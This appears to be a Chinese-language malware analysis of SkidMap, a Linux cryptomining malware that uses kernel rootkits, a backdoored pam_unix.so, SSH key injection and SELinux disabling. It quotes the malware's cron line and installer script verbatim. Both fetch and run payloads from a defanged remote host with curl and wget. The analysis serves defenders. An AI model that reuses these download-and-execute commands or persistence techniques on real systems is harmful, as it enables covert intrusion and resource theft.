挖掘加密货币恶意软件仍然是一个普遍的威胁。网络罪犯也越来越多地探索新的平台和方法来进一步利用挖矿恶意软件——从移动设备、Unix和类Unix系统到服务器和云环境。
攻击者不断提升恶意软件抵御检测的能力。例如,将恶意软件与看门狗组件捆绑在一起,以确保非法的加密货币挖掘活动在受感染的机器中持续存在,或者基于Linux的系统,利用基于LD_PRELOAD-based的rootkit使其组件无法被系统检测到。
最近发现了一个叫做SkidMap的Linux恶意软件,它展示了加密货币挖掘威胁越来越复杂的趋势。该恶意软件引起了人们的关注,原因在于它以一种加载恶意内核模块的方式进行操作,从而不容易被察觉。
与用户模式的rootkit相比,这些内核模式的rootkit不仅更难检测,攻击者还可以使用它们获得对受影响系统的访问权限。Skidmap能够设置一个主密码,使其能够访问系统中的所有用户帐户。SkidMap的许多例程都需要根访问,SkidMap使用的攻击向量(无论是通过漏洞攻击、错误配置)很可能与向攻击者提供对系统的根访问或管理访问的攻击向量相同。
恶意软件通过crontab将自身安装到目标计算机上,如下所示:
*/1 * * * * curl -fsSL hxxp://pm[.]ipfswallet[.]tk/pm.sh | sh
然后,安装脚本pm.sh下载主二进制文件“pc”:
if [ -x "/usr/bin/wget" -o -x "/bin/wget" ]; then wget -c hxxp://pm[.]ipfswallet[.]tk/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc elif [ -x "/usr/bin/curl" -o -x "/bin/curl" ]; then curl -fs hxxp://pm[.]ipfswallet[.]tk/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc elif [ -x "/usr/bin/get" -o -x "/bin/get" ]; then get -c hxxp://pm[.]ipfswallet[.]tk/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc elif [ -x "/usr/bin/cur" -o -x "/bin/cur" ]; then cur -fs hxxp://pm[.]ipfswallet[.]tk/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc else url -fs hxxp://pm[.]ipfswallet[.]tk/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc fi
执行“PC”二进制文件后,将更改削弱受影响机器的安全设置。当文件/usr/sbin/setenforce存在时,恶意软件可以使用命令setenforce 0进行执行。如果系统有/etc/selinux/config文件,它会将这些命令写入文件:selinux=disabled和selinux=targeted命令。第一种做法是禁用selinux策略或阻止其加载,第二种做法是将指定进程设为受限域中运行。
SkidMap还提供了后门,通过让二进制文件将其处理程序的公钥添加到authorized_keys文件来实现,该文件包含身份验证所需的密钥。
SkidMap提供了另一种攻击者可以进入机器的方式,除了使用后门。恶意软件用自己的恶意版本(检测为backdoor.linux.pamdor.a)替换系统的pam_unix.so文件(负责标准unix身份验证的模块)。如图2所示,此恶意pam_unix.so文件接受任何用户的特定密码,从而允许攻击者以计算机中的任何用户身份登录。
“pc”二进制文件检查受感染系统的操作系统是debian还是rhel/centos。
对于基于debian的系统,它将cryptocurrency miner的有效负载降到/tmp/miner2。对于centos/rhel系统,它将从url hxxp://pm[.]ipfswallet[.]tk/cos7[.]tar[.]gz下载一个tar文件,该文件包含cryptocurrency miner及其多个组件,然后将其解压缩并安装。
恶意软件组件旨在进一步混淆其恶意活动并确保它们继续运行:
1、一个伪“rm”二进制文件:tar文件中包含的一个组件是一个伪“rm”二进制文件,它将替换原始的文件(rm通常用作删除文件的命令)。此文件设置一个恶意cron作业,该作业将下载并执行一个文件。
安装kaudited时,请将/usr/bin/kaudited文件安装。多个可加载内核模块(LKM)被安装到受感染的计算机上的该二进制文件中。为了防止受感染的计算机在遭遇内核模式rootkits时崩溃,它会针对特定的内核版本使用不同的模块。kaudited二进制文件还删除了一个监视程序组件。
3、iproute,该模块钩住系统调用getdents(通常用于读取目录的内容)以隐藏特定的文件。
4、netlink,伪造网络流量和cpu相关的统计,使受感染机器的CPU负载始终看起来很低。
SkidMap使用相当先进的方法来确保它及其组件不被发现。SkidMap可以以多种方式访问受影响的机器,从而重复感染已经被恢复或清除的系统。
挖掘加密货币不仅会影响服务器和工作站的性能,导致更高的开支,甚至还会干扰业务。考虑到Linux在许多企业环境中的使用,用户和管理员应保持系统和服务器的更新和修补;谨防未经验证的第三方存储库;防止恶意文件或进程运行。
以上是如何进行Linux恶意软件SkidMap分析的详细内容。更多信息请关注PHP中文网其他相关文章!